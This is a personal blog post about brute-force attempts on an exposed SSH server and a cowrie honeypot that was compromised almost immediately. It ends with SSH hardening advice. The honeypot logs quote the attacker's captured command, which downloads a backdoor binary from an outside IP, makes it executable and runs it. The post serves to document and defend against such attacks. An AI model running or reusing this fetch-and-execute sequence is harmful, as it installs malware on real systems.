Leaving the ssh port open to the wild

Have you ever wondered how much of a threat is having a server exposed to the internet?

I own a server on a public IP that does serve HTTP + SSH, mainly for testing projects, had no domain names pointing to it until a week ago and it is not linked by any other machine (not that I know of). I have had hardened the ssh service with iptables, rate limiting and a more stric ssh configuration. Still it didn't feel safe, as services like shodan do exist.

So, just to be sure, I decided to have a look at the auth.log file, only to find this:

Apr 25 04:19:57 sshd[16620]: Invalid user mike from
Apr 25 04:19:57 sshd[16620]: input_userauth_request: invalid user mike [preauth]
Apr 25 04:19:58 sshd[16620]: Failed password for invalid user mike from port 58636 ssh2
Apr 25 04:19:58 sshd[16620]: Disconnecting: Too many authentication failures for mike [preauth]
Apr 25 03:48:31 sshd[15561]: reverse mapping checking getaddrinfo for ln-static-139-0-4-182.link.net.id [] failed - POSSIBLE BREAK-IN ATTEMPT!
Apr 25 03:48:31 sshd[15561]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=  user=root
Apr 25 03:48:33 sshd[15859]: Disconnecting: Too many authentication failures for root [preauth]
Apr 25 04:35:27 sshd[17261]: Disconnecting: Too many authentication failures for music [preauth]

And the list goes on.

The previous logs seem to suggest I was under a generic brute-force attack, rather than a targeted one. Anyway, out of curiosity, I though it would be a nice idea to set up the cowrie ssh honeypot on a completely new VPS.

The results speak for themselves, before I even could finish setting up my iptables rules for host & port redirection someone already had planted a binary file, which resulted to be a backdoor, as you can see here:

The downloaded file:

$ ll dl/
total 628
lrwxrwxrwx 20160425153143_http___183_3_202_126_81_x_g7uf -> acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25

The tty session log:

$ cat log/tty/20160425-153143-43cde7b9-0e.log
pW8pW--2016-04-25 15:31:43
-- Connecting to connected.
HTTP request sent, awaiting response... pW 200 OK
1pW8 Length: 625867 (611K) [application/octet-stream]
pWSaving to: `/root/g7uf

 2% [>                                      ] 14,219       22K/s  eta 27sJ�pW�;
28% [===========>                           ] 179,291      71K/s  eta 6sI�pW�5�
75% [=============================>         ] 474,683      127K/s  eta 1sB�pWA
100%[======================================>] 625,867      127K/s�pWC�       �

Dp Wd 2016-04-25 15:31:47 (127 KB/s) - `/root/g7uf' saved [625867/625867]

The event logged by cowrie:

$ cat log/cowrie.json | grep wget
{"eventid": "cowrie.command.success", "format": "Command found: %(input)s", "timestamp": "2016-04-25T19:31:43.540166Z", "message": [], "system": "SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,7,", "isError": 0, "src_ip": "", "session": "43cde7b9", "input": "PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin wget chmod + x g7uf ./g7uf", "sensor": "xxxxxx"}

Keep in mind that this machine had just reached the Internet with just a bare public IP address.

By the time I searched on shodan, the honeypot was already indexed and analyzed.

By now 33 login have been made to the honeypot.

$ ll log/tty/ | wc -l

And another backdoor has been planted.

To sum up

If you are going to run a sensible service, such as ssh exposed to the public be careful and do some stuff like:

  • Disallow root login
  • Disable password login, only allowing private keys
  • Disallow every user's login ability on the system but your personal user
  • Limit the number of attempts that a unique IP can do in a time period
  • Fail2Ban
  • Port knocking
  • Block by IP / country
  • Allow just trusted IP addresses
  • Change the default port number

Image by Timo Kuilder.